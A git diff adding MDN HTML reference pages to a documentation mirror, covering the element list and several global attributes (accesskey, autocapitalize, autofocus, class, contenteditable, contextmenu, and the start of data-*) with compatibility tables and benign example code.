+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/xmp +

+
diff --git a/devdocs/html/element.html b/devdocs/html/element.html new file mode 100644 index 00000000..e0a66740 --- /dev/null +++ b/devdocs/html/element.html @@ -0,0 +1,73 @@ +

HTML elements reference

+

This page lists all the HTML elements, which are created using tags.

They are grouped by function to help you find what you have in mind easily. An alphabetical list of all elements is provided in the sidebar on every element's page as well as this one.

Note: For more information about the basics of HTML elements and attributes, see the section on elements in the Introduction to HTML article.

+
+

Main root

+
Element Description
<html> Represents the root (top-level element) of an HTML document, so it is also referred to as the root element. All other elements must be descendants of this element.
+

Document metadata

+
+

Metadata contains information about the page. This includes information about styles, scripts and data to help software (search engines, browsers, etc.) use and render the page. Metadata for styles and scripts may be defined in the page or linked to another file that has the information.

Element Description
<base> Specifies the base URL to use for all relative URLs in a document. There can be only one such element in a document.
<head> Contains machine-readable information (metadata) about the document, like its title, scripts, and style sheets.
<link> Specifies relationships between the current document and an external resource. This element is most commonly used to link to CSS but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.
<meta> Represents metadata that cannot be represented by other HTML meta-related elements, like <base>, <link>, <script>, <style> and <title>.
<style> Contains style information for a document or part of a document. It contains CSS, which is applied to the contents of the document containing this element.
<title> Defines the document's title that is shown in a browser's title bar or a page's tab. It only contains text; tags within the element are ignored.
+
+

Sectioning root

+
Element Description
<body> represents the content of an HTML document. There can be only one such element in a document.
+

Content sectioning

+
+

Content sectioning elements allow you to organize the document content into logical pieces. Use the sectioning elements to create a broad outline for your page content, including header and footer navigation, and heading elements to identify sections of content.

Element Description
<address> Indicates that the enclosed HTML provides contact information for a person or people, or for an organization.
<article> Represents a self-contained composition in a document, page, application, or site, which is intended to be independently distributable or reusable (e.g., in syndication). Examples include a forum post, a magazine or newspaper article, a blog entry, a product card, a user-submitted comment, an interactive widget or gadget, or any other independent item of content.
<aside> Represents a portion of a document whose content is only indirectly related to the document's main content. Asides are frequently presented as sidebars or call-out boxes.
<footer> Represents a footer for its nearest ancestor sectioning content or sectioning root element. A <footer> typically contains information about the author of the section, copyright data, or links to related documents.
<header> Represents introductory content, typically a group of introductory or navigational aids. It may contain some heading elements but also a logo, a search form, an author name, and other elements.
+<h1>, <h2>, <h3>, <h4>, <h5>, <h6> + Represent six levels of section headings. <h1> is the highest section level and <h6> is the lowest.
<hgroup> Represents a heading grouped with any secondary content, such as subheadings, an alternative title, or a tagline.
<main> Represents the dominant content of the body of a document. The main content area consists of content that is directly related to or expands upon the central topic of a document, or the central functionality of an application.
<nav> Represents a section of a page whose purpose is to provide navigation links, either within the current document or to other documents. Common examples of navigation sections are menus, tables of contents, and indexes.
<section> Represents a generic standalone section of a document, which doesn't have a more specific semantic element to represent it. Sections should always have a heading, with very few exceptions.
<search> Represents a part that contains a set of form controls or other content related to performing a search or filtering operation.
+
+

Text content

+
+

Use HTML text content elements to organize blocks or sections of content placed between the opening <body> and closing </body> tags. Important for accessibility and SEO, these elements identify the purpose or structure of that content.

Element Description
<blockquote> Indicates that the enclosed text is an extended quotation. Usually, this is rendered visually by indentation. A URL for the source of the quotation may be given using the cite attribute, while a text representation of the source can be given using the <cite> element.
<dd> Provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>).
<div> The generic container for flow content. It has no effect on the content or layout until styled in some way using CSS (e.g., styling is directly applied to it, or some kind of layout model like flexbox is applied to its parent element).
<dl> Represents a description list. The element encloses a list of groups of terms (specified using the <dt> element) and descriptions (provided by <dd> elements). Common uses for this element are to implement a glossary or to display metadata (a list of key-value pairs).
<dt> Specifies a term in a description or definition list, and as such must be used inside a <dl> element. It is usually followed by a <dd> element; however, multiple <dt> elements in a row indicate several terms that are all defined by the immediate next <dd> element.
<figcaption> Represents a caption or legend describing the rest of the contents of its parent <figure> element.
<figure> Represents self-contained content, potentially with an optional caption, which is specified using the <figcaption> element. The figure, its caption, and its contents are referenced as a single unit.
<hr> Represents a thematic break between paragraph-level elements: for example, a change of scene in a story, or a shift of topic within a section.
<li> Represents an item in a list. It must be contained in a parent element: an ordered list (<ol>), an unordered list (<ul>), or a menu (<menu>). In menus and unordered lists, list items are usually displayed using bullet points. In ordered lists, they are usually displayed with an ascending counter on the left, such as a number or letter.
<menu> A semantic alternative to <ul>, but treated by browsers (and exposed through the accessibility tree) as no different than <ul>. It represents an unordered list of items (which are represented by <li> elements).
<ol> Represents an ordered list of items — typically rendered as a numbered list.
<p> Represents a paragraph. Paragraphs are usually represented in visual media as blocks of text separated from adjacent blocks by blank lines and/or first-line indentation, but HTML paragraphs can be any structural grouping of related content, such as images or form fields.
<pre> Represents preformatted text which is to be presented exactly as written in the HTML file. The text is typically rendered using a non-proportional, or monospaced, font. Whitespace inside this element is displayed as written.
<ul> Represents an unordered list of items, typically rendered as a bulleted list.
+
+

Inline text semantics

+
+

Use the HTML inline text semantic to define the meaning, structure, or style of a word, line, or any arbitrary piece of text.

Element Description
<a> Together with its href attribute, creates a hyperlink to web pages, files, email addresses, locations within the current page, or anything else a URL can address.
<abbr> Represents an abbreviation or acronym.
<b> Used to draw the reader's attention to the element's contents, which are not otherwise granted special importance. This was formerly known as the Boldface element, and most browsers still draw the text in boldface. However, you should not use <b> for styling text or granting importance. If you wish to create boldface text, you should use the CSS font-weight property. If you wish to indicate an element is of special importance, you should use the strong element.
<bdi> Tells the browser's bidirectional algorithm to treat the text it contains in isolation from its surrounding text. It's particularly useful when a website dynamically inserts some text and doesn't know the directionality of the text being inserted.
<bdo> Overrides the current directionality of text, so that the text within is rendered in a different direction.
<br> Produces a line break in text (carriage-return). It is useful for writing a poem or an address, where the division of lines is significant.
<cite> Used to mark up the title of a cited creative work. The reference may be in an abbreviated form according to context-appropriate conventions related to citation metadata.
<code> Displays its contents styled in a fashion intended to indicate that the text is a short fragment of computer code. By default, the content text is displayed using the user agent's default monospace font.
<data> Links a given piece of content with a machine-readable translation. If the content is time- or date-related, the<time> element must be used.
<dfn> Used to indicate the term being defined within the context of a definition phrase or sentence. The ancestor <p> element, the <dt>/<dd> pairing, or the nearest section ancestor of the <dfn> element, is considered to be the definition of the term.
<em> Marks text that has stress emphasis. The <em> element can be nested, with each nesting level indicating a greater degree of emphasis.
<i> Represents a range of text that is set off from the normal text for some reason, such as idiomatic text, technical terms, and taxonomical designations, among others. Historically, these have been presented using italicized type, which is the original source of the <i> naming of this element.
<kbd> Represents a span of inline text denoting textual user input from a keyboard, voice input, or any other text entry device. By convention, the user agent defaults to rendering the contents of a <kbd> element using its default monospace font, although this is not mandated by the HTML standard.
<mark> Represents text which is marked or highlighted for reference or notation purposes due to the marked passage's relevance in the enclosing context.
<q> Indicates that the enclosed text is a short inline quotation. Most modern browsers implement this by surrounding the text in quotation marks. This element is intended for short quotations that don't require paragraph breaks; for long quotations use the <blockquote> element.
<rp> Used to provide fall-back parentheses for browsers that do not support the display of ruby annotations using the <ruby> element. One <rp> element should enclose each of the opening and closing parentheses that wrap the <rt> element that contains the annotation's text.
<rt> Specifies the ruby text component of a ruby annotation, which is used to provide pronunciation, translation, or transliteration information for East Asian typography. The <rt> element must always be contained within a <ruby> element.
<ruby> Represents small annotations that are rendered above, below, or next to base text, usually used for showing the pronunciation of East Asian characters. It can also be used for annotating other kinds of text, but this usage is less common.
<s> Renders text with a strikethrough, or a line through it. Use the <s> element to represent things that are no longer relevant or no longer accurate. However, <s> is not appropriate when indicating document edits; for that, use the del and ins elements, as appropriate.
<samp> Used to enclose inline text which represents sample (or quoted) output from a computer program. Its contents are typically rendered using the browser's default monospaced font (such as Courier or Lucida Console).
<small> Represents side-comments and small print, like copyright and legal text, independent of its styled presentation. By default, it renders text within it one font size smaller, such as from small to x-small.
<span> A generic inline container for phrasing content, which does not inherently represent anything. It can be used to group elements for styling purposes (using the class or id attributes), or because they share attribute values, such as lang. It should be used only when no other semantic element is appropriate. <span> is very much like a div element, but div is a block-level element whereas a <span> is an inline-level element.
<strong> Indicates that its contents have strong importance, seriousness, or urgency. Browsers typically render the contents in bold type.
<sub> Specifies inline text which should be displayed as subscript for solely typographical reasons. Subscripts are typically rendered with a lowered baseline using smaller text.
<sup> Specifies inline text which is to be displayed as superscript for solely typographical reasons. Superscripts are usually rendered with a raised baseline using smaller text.
<time> Represents a specific period in time. It may include the datetime attribute to translate dates into machine-readable format, allowing for better search engine results or custom features such as reminders.
<u> Represents a span of inline text which should be rendered in a way that indicates that it has a non-textual annotation. This is rendered by default as a simple solid underline but may be altered using CSS.
<var> Represents the name of a variable in a mathematical expression or a programming context. It's typically presented using an italicized version of the current typeface, although that behavior is browser-dependent.
<wbr> Represents a word break opportunity—a position within text where the browser may optionally break a line, though its line-breaking rules would not otherwise create a break at that location.
+
+

Image and multimedia

+
+

HTML supports various multimedia resources such as images, audio, and video.

Element Description
<area> Defines an area inside an image map that has predefined clickable areas. An image map allows geometric areas on an image to be associated with hyperlink.
<audio> Used to embed sound content in documents. It may contain one or more audio sources, represented using the src attribute or the source element: the browser will choose the most suitable one. It can also be the destination for streamed media, using a MediaStream.
<img> Embeds an image into the document.
<map> Used with <area> elements to define an image map (a clickable link area).
<track> Used as a child of the media elements, audio and video. It lets you specify timed text tracks (or time-based data), for example to automatically handle subtitles. The tracks are formatted in WebVTT format (.vtt files)—Web Video Text Tracks.
<video> Embeds a media player which supports video playback into the document. You can also use <video> for audio content, but the audio element may provide a more appropriate user experience.
+
+

Embedded content

+
+

In addition to regular multimedia content, HTML can include a variety of other content, even if it's not always easy to interact with.

Element Description
<embed> Embeds external content at the specified point in the document. This content is provided by an external application or other source of interactive content such as a browser plug-in.
<iframe> Represents a nested browsing context, embedding another HTML page into the current one.
<object> Represents an external resource, which can be treated as an image, a nested browsing context, or a resource to be handled by a plugin.
<picture> Contains zero or more <source> elements and one <img> element to offer alternative versions of an image for different display/device scenarios.
<portal> Enables the embedding of another HTML page into the current one to enable smoother navigation into new pages.
<source> Specifies multiple media resources for the picture, the audio element, or the video element. It is a void element, meaning that it has no content and does not have a closing tag. It is commonly used to offer the same media content in multiple file formats in order to provide compatibility with a broad range of browsers given their differing support for image file formats and media file formats.
+
+

SVG and MathML

+
+

You can embed SVG and MathML content directly into HTML documents, using the <svg> and <math> elements.

Element Description
<svg> Container defining a new coordinate system and viewport. It is used as the outermost element of SVG documents, but it can also be used to embed an SVG fragment inside an SVG or HTML document.
<math> The top-level element in MathML. Every valid MathML instance must be wrapped in it. In addition, you must not nest a second <math> element in another, but you can have an arbitrary number of other child elements in it.
+
+

Scripting

+
+

To create dynamic content and Web applications, HTML supports the use of scripting languages, most prominently JavaScript. Certain elements support this capability.

Element Description
<canvas> Container element to use with either the canvas scripting API or the WebGL API to draw graphics and animations.
<noscript> Defines a section of HTML to be inserted if a script type on the page is unsupported or if scripting is currently turned off in the browser.
<script> Used to embed executable code or data; this is typically used to embed or refer to JavaScript code. The <script> element can also be used with other languages, such as WebGL's GLSL shader programming language and JSON.
+
+

Demarcating edits

+
+

These elements let you provide indications that specific parts of the text have been altered.

Element Description
<del> Represents a range of text that has been deleted from a document. This can be used when rendering "track changes" or source code diff information, for example. The <ins> element can be used for the opposite purpose: to indicate text that has been added to the document.
<ins> Represents a range of text that has been added to a document. You can use the <del> element to similarly represent a range of text that has been deleted from the document.
+
+

Table content

+
+

The elements here are used to create and handle tabular data.

Element Description
<caption> Specifies the caption (or title) of a table.
<col> Defines a column within a table and is used for defining common semantics on all common cells. It is generally found within a <colgroup> element.
<colgroup> Defines a group of columns within a table.
<table> Represents tabular data — that is, information presented in a two-dimensional table comprised of rows and columns of cells containing data.
<tbody> Encapsulates a set of table rows (<tr> elements), indicating that they comprise the body of the table (<table>).
<td> Defines a cell of a table that contains data. It participates in the table model.
<tfoot> Defines a set of rows summarizing the columns of the table.
<th> Defines a cell as a header of a group of table cells. The exact nature of this group is defined by the scope and headers attributes.
<thead> Defines a set of rows defining the head of the columns of the table.
<tr> Defines a row of cells in a table. The row's cells can then be established using a mix of <td> (data cell) and <th> (header cell) elements.
+
+

Forms

+
+

HTML provides several elements that can be used together to create forms that the user can fill out and submit to the website or application. Further information about this available in the HTML forms guide.

Element Description
<button> An interactive element activated by a user with a mouse, keyboard, finger, voice command, or other assistive technology. Once activated, it performs an action, such as submitting a form or opening a dialog.
<datalist> Contains a set of <option> elements that represent the permissible or recommended options available to choose from within other controls.
<fieldset> Used to group several controls as well as labels (<label>) within a web form.
<form> Represents a document section containing interactive controls for submitting information.
<input> Used to create interactive controls for web-based forms to accept data from the user; a wide variety of types of input data and control widgets are available, depending on the device and user agent. The <input> element is one of the most powerful and complex in all of HTML due to the sheer number of combinations of input types and attributes.
<label> Represents a caption for an item in a user interface.
<legend> Represents a caption for the content of its parent <fieldset>.
<meter> Represents either a scalar value within a known range or a fractional value.
<optgroup> Creates a grouping of options within a <select> element.
<option> Used to define an item contained in a select, an <optgroup>, or a <datalist> element. As such, <option> can represent menu items in popups and other lists of items in an HTML document.
<output> Container element into which a site or app can inject the results of a calculation or the outcome of a user action.
<progress> Displays an indicator showing the completion progress of a task, typically displayed as a progress bar.
<select> Represents a control that provides a menu of options.
<textarea> Represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example, a comment on a review or feedback form.
+
+

Interactive elements

+
+

HTML offers a selection of elements that help to create interactive user interface objects.

Element Description
<details> Creates a disclosure widget in which information is visible only when the widget is toggled into an "open" state. A summary or label must be provided using the <summary> element.
<dialog> Represents a dialog box or other interactive component, such as a dismissible alert, inspector, or subwindow.
<summary> Specifies a summary, caption, or legend for a details element's disclosure box. Clicking the <summary> element toggles the state of the parent <details> element open and closed.
+
+

Web Components

+
+

Web Components is an HTML-related technology that makes it possible to, essentially, create and use custom elements as if it were regular HTML. In addition, you can create custom versions of standard HTML elements.

Element Description
<slot> Part of the Web Components technology suite, this element is a placeholder inside a web component that you can fill with your own markup, which lets you create separate DOM trees and present them together.
<template> A mechanism for holding HTML that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using JavaScript.
+
+

Obsolete and deprecated elements

+
+

Warning: These are old HTML elements that are deprecated and should not be used. You should never use them in new projects, and you should replace them in old projects as soon as you can. They are listed here for completeness only.

Element Description
<acronym> Allows authors to clearly indicate a sequence of characters that compose an acronym or abbreviation for a word.
<big> Renders the enclosed text at a font size one level larger than the surrounding text (medium becomes large, for example). The size is capped at the browser's maximum permitted font size.
<center> Displays its block-level or inline contents centered horizontally within its containing element.
<content> An obsolete part of the Web Components suite of technologies—was used inside of Shadow DOM as an insertion point, and wasn't meant to be used in ordinary HTML. It has now been replaced by the <slot> element, which creates a point in the DOM at which a shadow DOM can be inserted. Consider using <slot> instead.
<dir> Container for a directory of files and/or folders, potentially with styles and icons applied by the user agent. Do not use this obsolete element; instead, you should use the <ul> element for lists, including lists of files.
<font> Defines the font size, color and face for its content.
<frame> Defines a particular area in which another HTML document can be displayed. A frame should be used within a <frameset>.
<frameset> Used to contain <frame> elements.
<image> An ancient and poorly supported precursor to the <img> element. It should not be used.
<marquee> Used to insert a scrolling area of text. You can control what happens when the text reaches the edges of its content area using its attributes.
<menuitem> Represents a command that a user is able to invoke through a popup menu. This includes context menus, as well as menus that might be attached to a menu button.
<nobr> Prevents the text it contains from automatically wrapping across multiple lines, potentially resulting in the user having to scroll horizontally to see the entire width of the text.
<noembed> An obsolete, non-standard way to provide alternative, or "fallback", content for browsers that do not support the embed element or do not support the type of embedded content an author wishes to use. This element was deprecated in HTML 4.01 and above in favor of placing fallback content between the opening and closing tags of an <object> element.
<noframes> Provides content to be presented in browsers that don't support (or have disabled support for) the <frame> element. Although most commonly-used browsers support frames, there are exceptions, including certain special-use browsers including some mobile browsers, as well as text-mode browsers.
<param> Defines parameters for an <object> element.
<plaintext> Renders everything following the start tag as raw text, ignoring any following HTML. There is no closing tag, since everything after it is considered raw text.
<rb> Used to delimit the base text component of a ruby annotation, i.e. the text that is being annotated. One <rb> element should wrap each separate atomic segment of the base text.
<rtc> Embraces semantic annotations of characters presented in a ruby of <rb> elements used inside of <ruby> element. <rb> elements can have both pronunciation (<rt>) and semantic (<rtc>) annotations.
<shadow> An obsolete part of the Web Components technology suite that was intended to be used as a shadow DOM insertion point. You might have used it if you have created multiple shadow roots under a shadow host. Consider using <slot> instead.
<strike> Places a strikethrough (horizontal line) over text.
<tt> Creates inline text which is presented using the user agent default monospace font face. This element was created for the purpose of rendering text as it would be displayed on a fixed-width display such as a teletype, text-only screen, or line printer.
<xmp> Renders text between the start and end tags without interpreting the HTML in between and using a monospaced font. The HTML2 specification recommended that it should be rendered wide enough to allow 80 characters per line.
+
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element +

+
diff --git a/devdocs/html/global_attributes%2Faccesskey.html b/devdocs/html/global_attributes%2Faccesskey.html new file mode 100644 index 00000000..3abfc940 --- /dev/null +++ b/devdocs/html/global_attributes%2Faccesskey.html @@ -0,0 +1,74 @@ +

accesskey

The accesskey global attribute provides a hint for generating a keyboard shortcut for the current element. The attribute value must consist of a single printable character (which includes accented and other characters that can be generated by the keyboard).

+

Try it

+
+

Note: In the WHATWG spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. However, this does not work in most browsers. IE/Edge uses the first one it supports without problems, provided there are no conflicts with other commands.

The way to activate the accesskey depends on the browser and its platform:

Windows Linux Mac
Firefox +Alt + Shift + key +
  • Firefox 57+: Control + Option + key or Control + Alt + key
  • Firefox 14-56: Control + Alt + key
  • Firefox 13 or older: Control + key
Edge +Alt + key + Control + Option + key
or Control + Option + Shift + key 		n/a
Google Chrome +Control + Option + key +
Safari n/a +Control + Option + key +
Opera 15+ +Alt + key + +Control + Alt + key +
Opera 12 Shift + Esc opens a list of available accesskeys. Choose an item from the list by pressing the key.
+
+

Accessibility concerns

+
+

In addition to poor browser support, there are numerous concerns with the accesskey attribute:

Because of these issues, it is generally advised not to use accesskeys for most general-purpose websites and web apps.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-accesskey-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
accesskey1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/accesskey +

+
diff --git a/devdocs/html/global_attributes%2Fautocapitalize.html b/devdocs/html/global_attributes%2Fautocapitalize.html new file mode 100644 index 00000000..6bc875f8 --- /dev/null +++ b/devdocs/html/global_attributes%2Fautocapitalize.html @@ -0,0 +1,57 @@ +

autocapitalize

+

The autocapitalize global attribute is an enumerated attribute that controls whether and how text input is automatically capitalized as it is entered/edited by the user.

The attribute must take one of the following values:

The autocapitalize attribute doesn't affect behavior when typing on a physical keyboard. Instead, it affects the behavior of other input mechanisms, such as virtual keyboards on mobile devices and voice input. The behavior of such mechanisms is that they often assist users by automatically capitalizing the first letter of sentences. The autocapitalize attribute enables authors to override that behavior per-element.

The autocapitalize attribute never causes autocapitalization to be enabled for an <input> element with a type attribute whose value is url, email, or password.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-autocapitalize
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
autocapitalize4379111No30No43431113054.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autocapitalize +

+
diff --git a/devdocs/html/global_attributes%2Fautofocus.html b/devdocs/html/global_attributes%2Fautofocus.html new file mode 100644 index 00000000..e7b5c5b0 --- /dev/null +++ b/devdocs/html/global_attributes%2Fautofocus.html @@ -0,0 +1,68 @@ +

autofocus

+

The autofocus global attribute is a Boolean attribute indicating that an element should be focused on page load, or when the <dialog> that it is part of is displayed.

+

html

+
<input name="q" autofocus />
+
+

No more than one element in the document or dialog may have the autofocus attribute. If applied to multiple elements the first one will receive focus.

Note: The autofocus attribute applies to all elements, not just form controls. For example, it might be used on a contenteditable area.

+
+

Accessibility considerations

+
+

Automatically focusing a form control can confuse visually-impaired people using screen-reading technology and people with cognitive impairments. When autofocus is assigned, screen-readers "teleport" their user to the form control without warning them beforehand.

Use careful consideration for accessibility when applying the autofocus attribute. Automatically focusing on a control can cause the page to scroll on load. The focus can also cause dynamic keyboards to display on some touch devices. While a screen reader will announce the label of the form control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding content.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# dom-fe-autofocus
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
autofocus79
1–79Supported for the <button>, <input>, <select>, and <textarea> elements.
+		79
12–79Supported for the <button>, <input>, <select>, and <textarea> elements.
+
1Supported for the <button>, <input>, <select>, and <textarea> elements.
10Supported for the <button>, <input>, <select>, and <textarea> elements.
66
≤12.1–66Supported for the <button>, <input>, <select>, and <textarea> elements.
+
4Supported for the <button>, <input>, <select>, and <textarea> elements.
79
≤37–79Supported for the <button>, <input>, <select>, and <textarea> elements.
+		79
18–79Supported for the <button>, <input>, <select>, and <textarea> elements.
+
4Supported for the <button>, <input>, <select>, and <textarea> elements.
57
≤12.1–57Supported for the <button>, <input>, <select>, and <textarea> elements.
+
3.2Supported for the <button>, <input>, <select>, and <textarea> elements.
12.0
1.0–12.0Supported for the <button>, <input>, <select>, and <textarea> elements.
+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autofocus +

+
diff --git a/devdocs/html/global_attributes%2Fclass.html b/devdocs/html/global_attributes%2Fclass.html new file mode 100644 index 00000000..26a5c529 --- /dev/null +++ b/devdocs/html/global_attributes%2Fclass.html @@ -0,0 +1,57 @@ +

class

The class global attribute is a space-separated list of the case-sensitive classes of the element. Classes allow CSS and JavaScript to select and access specific elements via the class selectors or functions like the DOM method document.getElementsByClassName.

+

Try it

+
+

Though the specification doesn't put requirements on the name of classes, web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. For example, attribute to describe an attribute rather than italics, although an element of this class may be presented by italics. Semantic names remain logical even if the presentation of the page changes.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# global-attributes:classes-2
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
class1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class +

+
diff --git a/devdocs/html/global_attributes%2Fcontenteditable.html b/devdocs/html/global_attributes%2Fcontenteditable.html new file mode 100644 index 00000000..b12e08ee --- /dev/null +++ b/devdocs/html/global_attributes%2Fcontenteditable.html @@ -0,0 +1,80 @@ +

contenteditable

The contenteditable global attribute is an enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing.

+

Try it

+
+

The attribute must take one of the following values:

If the attribute is given without a value, like <label contenteditable>Example Label</label>, its value is treated as an empty string.

If this attribute is missing or its value is invalid, its value is inherited from its parent element: so the element is editable if its parent is editable.

Note that although its allowed values include true and false, this attribute is an enumerated one and not a Boolean one.

You can set the color used to draw the text insertion caret with the CSS caret-color property.

Elements that are made editable, and therefore interactive, by using the contenteditable attribute can be focused. They participate in sequential keyboard navigation. However, elements with the contenteditable attribute nested within other contenteditable elements are not added to the tabbing sequence by default. You can add the nested contenteditable elements to the keyboard navigation sequence by specifying the tabindex value (tabindex="0").

+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-contenteditable
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
contenteditable11235.59≤44.418414≤3.21.0
plaintext-only51≤79NoNo38Yes5151No41Yes5.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable +

+
diff --git a/devdocs/html/global_attributes%2Fcontextmenu.html b/devdocs/html/global_attributes%2Fcontextmenu.html new file mode 100644 index 00000000..c817dc6d --- /dev/null +++ b/devdocs/html/global_attributes%2Fcontextmenu.html @@ -0,0 +1,131 @@ +

contextmenu

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

+

Non-standard: This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

The contextmenu global attribute is the id of a <menu> to use as the contextual menu for this element.

A context menu is a menu that appears upon user interaction, such as a right-click. HTML now allows us to customize this menu. Here are some implementation examples, including nested menus.

+
+

Example

+ +

HTML

+
+

html

+
<body contextmenu="share">
+  <menu type="context" id="share">
+    <menu label="share">
+      <menuitem label="Twitter" onclick="shareViaTwitter()"></menuitem>
+      <menuitem label="Facebook" onclick="shareViaFacebook()"></menuitem>
+    </menu>
+  </menu>
+  <ol>
+    <li>
+      Anywhere in the example you can share the page on Twitter and Facebook
+      using the Share menu from your context menu.
+    </li>
+    <li contextmenu="changeFont" id="fontSizing">
+      On this specific list element, you can change the size of the text by
+      using the "Increase/Decrease font" actions from your context menu
+    </li>
+    <menu type="context" id="changeFont">
+      <menuitem label="Increase Font" onclick="incFont()"></menuitem>
+      <menuitem label="Decrease Font" onclick="decFont()"></menuitem>
+    </menu>
+    <li contextmenu="ChangeImage" id="changeImage">
+      On the image below, you can fire the "Change Image" action in your Context
+      Menu.<br />
+      <img
+        src="promobutton_mdn5.png"
+        contextmenu="ChangeImage"
+        id="promoButton"
+        alt="Better CSS Docs for a better web" />
+      <menu type="context" id="ChangeImage">
+        <menuitem label="Change Image" onclick="changeImage()"></menuitem>
+      </menu>
+    </li>
+  </ol>
+</body>
+
+
+

JavaScript

+
+

js

+
function shareViaTwitter() {
+  window.open(
+    "https://twitter.com/intent/tweet?text=" +
+      "Hurray! I am learning ContextMenu from MDN via Mozilla",
+  );
+}
+
+function shareViaFacebook() {
+  window.open(
+    "https://facebook.com/sharer/sharer.php?u=" +
+      "https://developer.mozilla.org/en/HTML/Element/Using_HTML_context_menus",
+  );
+}
+
+function incFont() {
+  document.getElementById("fontSizing").style.fontSize = "larger";
+}
+
+function decFont() {
+  document.getElementById("fontSizing").style.fontSize = "smaller";
+}
+
+function changeImage() {
+  const index = Math.ceil(Math.random() * 39 + 1);
+  document.images[0].src = `${index}.png`;
+}
+
+
+

Result

+
+ + +
+

Specifications

+

The contextmenu attribute is obsolete and will be removed from all browsers.

+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
contextmenuNoNo9–85NoNoNoNoNo
32–56Support for the contextmenu attribute has been removed from Firefox for Android (See bug 1424252).
NoNoNo
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contextmenu +

+
diff --git a/devdocs/html/global_attributes%2Fdata-%2A.html b/devdocs/html/global_attributes%2Fdata-%2A.html new file mode 100644 index 00000000..33aee82d --- /dev/null +++ b/devdocs/html/global_attributes%2Fdata-%2A.html @@ -0,0 +1,74 @@ +

data-*

The data-* global attributes form a class of attributes called custom data attributes, that allow proprietary information to be exchanged between the HTML and its DOM representation by scripts.

+

Try it

+
+

All such custom data are available via the HTMLElement interface of the element the attribute is set on. The HTMLElement.dataset property gives access to them. The * may be replaced by any name following the production rule of XML names which includes the following recommendations:

These are recommendations. If these naming recommendations are not followed, no errors will occur. The attributes will still be matched using CSS attribute selectors, with the attribute being case insensitive and any attribute value being case-sensitive. Attributes not conforming to these three recommendations will also still be recognized by the JavaScript HTMLElement.dataset property and user-agents will include the attribute in the DOMStringMap containing all the custom data attributes for an HTMLElement.

